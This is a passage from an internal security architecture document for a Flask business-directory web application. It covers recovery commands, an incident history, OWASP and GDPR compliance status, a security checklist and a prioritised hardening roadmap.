|
|
sudo systemctl restart nordabiznes
|
|
|
|
# 2. Restart PostgreSQL (if needed)
|
|
sudo systemctl restart postgresql
|
|
|
|
# 3. Restart NPM (if needed, on 10.22.68.250)
|
|
docker restart <npm-container-id>
|
|
```
|
|
|
|
**Post-Recovery:**
|
|
- Document incident in `docs/INCIDENT_REPORT_YYYYMMDD.md`
|
|
- Review logs for root cause
|
|
- Implement preventive measures
|
|
|
|
### 10.3 Incident History
|
|
|
|
**Past Incidents:**
|
|
1. **2026-01-02: ERR_TOO_MANY_REDIRECTS**
|
|
- **Cause:** NPM proxy forwarding to port 80 instead of 5000
|
|
- **Impact:** Site inaccessible for 2 hours
|
|
- **Resolution:** Changed NPM forward port to 5000
|
|
- **Documentation:** [INCIDENT_REPORT_20260102.md](../INCIDENT_REPORT_20260102.md)
|
|
|
|
**Lessons Learned:**
|
|
- Document critical configurations (port mappings) in architecture docs
|
|
- Add verification steps after NPM configuration changes
|
|
- Implement monitoring to detect redirect loops
|
|
|
|
---
|
|
|
|
## 11. Compliance & Best Practices
|
|
|
|
### 11.1 Security Standards Compliance
|
|
|
|
**OWASP Top 10 Compliance:**
|
|
|
|
| OWASP Risk | Status | Mitigation |
|
|
|------------|--------|------------|
|
|
| **A01: Broken Access Control** | ✅ Mitigated | Flask-Login, admin flag validation |
|
|
| **A02: Cryptographic Failures** | ⚠️ Partial | HTTPS (transit), no encryption at rest |
|
|
| **A03: Injection** | ✅ Mitigated | SQLAlchemy ORM, input sanitization |
|
|
| **A04: Insecure Design** | ⚠️ Partial | Security controls in place, no formal threat model |
|
|
| **A05: Security Misconfiguration** | ⚠️ Partial | Secure defaults, but no CSP |
|
|
| **A06: Vulnerable Components** | ⚠️ Partial | Dependencies updated, no automated scanning |
|
|
| **A07: Identification & Auth Failures** | ✅ Mitigated | Email verification, password complexity, rate limiting |
|
|
| **A08: Software & Data Integrity** | ⚠️ Partial | No code signing, no SBOM |
|
|
| **A09: Security Logging & Monitoring** | ❌ Not Compliant | Basic logging, no SIEM |
|
|
| **A10: Server-Side Request Forgery** | ✅ Mitigated | No user-controlled URLs in backend requests |
|
|
|
|
### 11.2 GDPR Compliance
|
|
|
|
**Personal Data Processing:**
|
|
- ✅ Privacy policy (should be published)
|
|
- ✅ User consent (registration form)
|
|
- ❌ Right to access (not implemented)
|
|
- ❌ Right to deletion (not implemented)
|
|
- ❌ Right to portability (not implemented)
|
|
- ❌ Breach notification (no procedure)
|
|
|
|
**Data Protection:**
|
|
- ✅ HTTPS encryption (in transit)
|
|
- ❌ Database encryption (at rest)
|
|
- ❌ Data minimization (collect only necessary data)
|
|
|
|
**Future Improvements:**
|
|
- ⚠️ Implement GDPR data deletion workflow
|
|
- ⚠️ Add privacy policy page
|
|
- ⚠️ Add data export functionality
|
|
- ⚠️ Implement breach notification procedure
|
|
|
|
### 11.3 Security Best Practices Checklist
|
|
|
|
**Application Security:**
|
|
- ✅ Input validation and sanitization
|
|
- ✅ SQL injection prevention (ORM)
|
|
- ✅ XSS prevention (auto-escaping)
|
|
- ✅ CSRF protection
|
|
- ✅ Password hashing (PBKDF2:SHA256)
|
|
- ✅ Secure session management
|
|
- ✅ Rate limiting
|
|
- ❌ Content Security Policy (CSP)
|
|
- ❌ Subresource Integrity (SRI)
|
|
|
|
**Infrastructure Security:**
|
|
- ✅ Firewall (Fortigate)
|
|
- ✅ Network segmentation (DMZ, App, Data zones)
|
|
- ✅ SSH key-based authentication
|
|
- ✅ Principle of least privilege (www-data user)
|
|
- ❌ IDS/IPS
|
|
- ❌ DDoS protection (beyond Fortigate)
|
|
|
|
**Operational Security:**
|
|
- ✅ Secrets in .env (not hardcoded)
|
|
- ✅ HTTPS/TLS 1.2+
|
|
- ✅ Automatic security updates
|
|
- ❌ Secrets vault (HashiCorp Vault)
|
|
- ❌ API key rotation
|
|
- ❌ Security scanning (SAST/DAST)
|
|
|
|
**Monitoring & Response:**
|
|
- ✅ Application logging
|
|
- ✅ Health check endpoint
|
|
- ❌ Security event monitoring
|
|
- ❌ Alerting on critical events
|
|
- ❌ Incident response plan (documented but not tested)
|
|
|
|
---
|
|
|
|
## 12. Security Roadmap
|
|
|
|
### 12.1 High Priority (Next 3 Months)
|
|
|
|
1. **Implement Content Security Policy (CSP)**
|
|
- Define CSP policy
|
|
- Test with report-only mode
|
|
- Deploy to production
|
|
- **Impact:** Prevent XSS attacks
|
|
|
|
2. **Add Account Lockout After Failed Login Attempts**
|
|
- Implement lockout after 5 failed attempts
|
|
- Add admin unlock functionality
|
|
- **Impact:** Prevent brute force attacks
|
|
|
|
3. **Implement Security Event Logging**
|
|
- Log failed login attempts
|
|
- Log CSRF token violations
|
|
- Log rate limit violations
|
|
- Log admin actions
|
|
- **Impact:** Detect security incidents
|
|
|
|
4. **Set Up Monitoring & Alerting**
|
|
- Integrate with Zabbix
|
|
- Add uptime monitoring
|
|
- Add email alerts for downtime
|
|
- **Impact:** Faster incident response
|
|
|
|
### 12.2 Medium Priority (3-6 Months)
|
|
|
|
5. **Implement 2FA for Admin Accounts**
|
|
- Add TOTP (Time-Based One-Time Password)
|
|
- Require 2FA for all admin users
|
|
- **Impact:** Prevent admin account compromise
|
|
|
|
6. **Add Audit Log Table**
|
|
- Create dedicated audit log table
|
|
- Log all admin actions
|
|
- Implement audit log retention policy
|
|
- **Impact:** Compliance, forensics
|
|
|
|
7. **Implement GDPR Data Deletion Workflow**
|
|
- Add "Delete My Account" functionality
|
|
- Cascade deletion of user data
|
|
- Generate data export (JSON)
|
|
- **Impact:** GDPR compliance
|
|
|
|
8. **Enable PostgreSQL Encryption at Rest**
|
|
- Enable transparent data encryption (TDE)
|
|
- Encrypt database backups
|
|
- **Impact:** Data breach protection
|
|
|
|
### 12.3 Low Priority (6-12 Months)
|
|
|
|
9. **Migrate to Secrets Vault**
|
|
- Evaluate HashiCorp Vault vs AWS Secrets Manager
|
|
- Migrate API keys to vault
|
|
- Implement key rotation
|
|
- **Impact:** Improved secrets management
|
|
|
|
10. **Implement Automated Security Scanning**
|
|
- Add SAST (Static Application Security Testing)
|
|
- Add DAST (Dynamic Application Security Testing)
|
|
- Add dependency scanning (Snyk, Dependabot)
|
|
- **Impact:** Proactive vulnerability detection
|
|
|
|
11. **Add Row-Level Security (RLS)**
|
|
- Implement ownership checks on all resources
|
|
- Prevent IDOR vulnerabilities
|
|
- **Impact:** Prevent unauthorized data access
|
|
|
|
12. **Implement SIEM Integration**
|
|
- Evaluate SIEM solutions (Wazuh, Splunk, ELK)
|
|
- Forward logs to SIEM
|
|
- Create security dashboards
|
|
- **Impact:** Advanced threat detection
|
|
|
|
---
|
|
|
|
## 13. Related Documentation
|
|
|
|
### 13.1 Architecture Documents
|
|
|
|
- [Authentication Flow](flows/01-authentication-flow.md) - Detailed authentication flow diagrams
|
|
- [Network Topology](07-network-topology.md) - Network zones and firewall rules
|
|
- [Container Diagram](02-container-diagram.md) - Application security boundaries
|
|
- [Critical Configurations](08-critical-configurations.md) - SSL/TLS, secrets management
|
|
- [HTTP Request Flow](flows/06-http-request-flow.md) - Request path and security layers
|
|
|
|
### 13.2 Code Files
|
|
|
|
**Authentication & Authorization:**
|
|
- `app.py` (lines ~3077-3500) - Authentication routes
|
|
- `database.py` (lines ~119-158) - User model
|
|
|
|
**Security Utilities:**
|
|
- `app.py` - `sanitize_input()`, `validate_email()`, `validate_password()`
|
|
|
|
**Email Service:**
|
|
- `email_service.py` - Microsoft Graph email integration
|
|
|
|
### 13.3 External References
|
|
|
|
- [OWASP Top 10](https://owasp.org/www-project-top-ten/)
|
|
- [OWASP Cheat Sheet Series](https://cheatsheetseries.owasp.org/)
|
|
- [Flask Security Best Practices](https://flask.palletsprojects.com/en/2.3.x/security/)
|
|
- [PostgreSQL Security](https://www.postgresql.org/docs/current/security.html)
|
|
|
|
---
|
|
|
|
## 14. Maintenance & Updates
|
|
|
|
### 14.1 When to Update This Document
|
|
|
|
Update this document when:
|
|
- New security controls are implemented
|
|
- Security vulnerabilities are discovered and patched
|
|
- Authentication/authorization model changes
|
|
- External APIs are added or removed
|
|
- Infrastructure security configuration changes
|
|
- Compliance requirements change (GDPR, OWASP)
|
|
|
|
### 14.2 Security Audit Checklist
|
|
|
|
Periodic security audit (quarterly):
|
|
- [ ] Review user permissions and admin accounts
|
|
- [ ] Check for unused API keys
|
|
- [ ] Review firewall rules
|
|
- [ ] Verify SSL/TLS certificates are valid
|
|
- [ ] Check for outdated dependencies (`pip list --outdated`)
|
|
- [ ] Review application logs for anomalies
|
|
- [ ] Test authentication flows (login, registration, password reset)
|
|
- [ ] Verify CSRF protection on all forms
|
|
- [ ] Check rate limiting effectiveness
|
|
- [ ] Review database backup integrity
|
|
- [ ] Test incident response procedures
|
|
- [ ] Update security roadmap
|
|
|
|
### 14.3 Security Training
|
|
|
|
Recommended training for team members:
|
|
- OWASP Top 10 awareness
|
|
- Secure coding practices
|
|
- Incident response procedures
|
|
- GDPR compliance basics
|
|
- Password policy enforcement
|
|
|
|
---
|
|
|
|
**Document End**
|
|
|
|
*This document is maintained as part of the Norda Biznes Partner architecture documentation. For questions or updates, contact the development team.*
|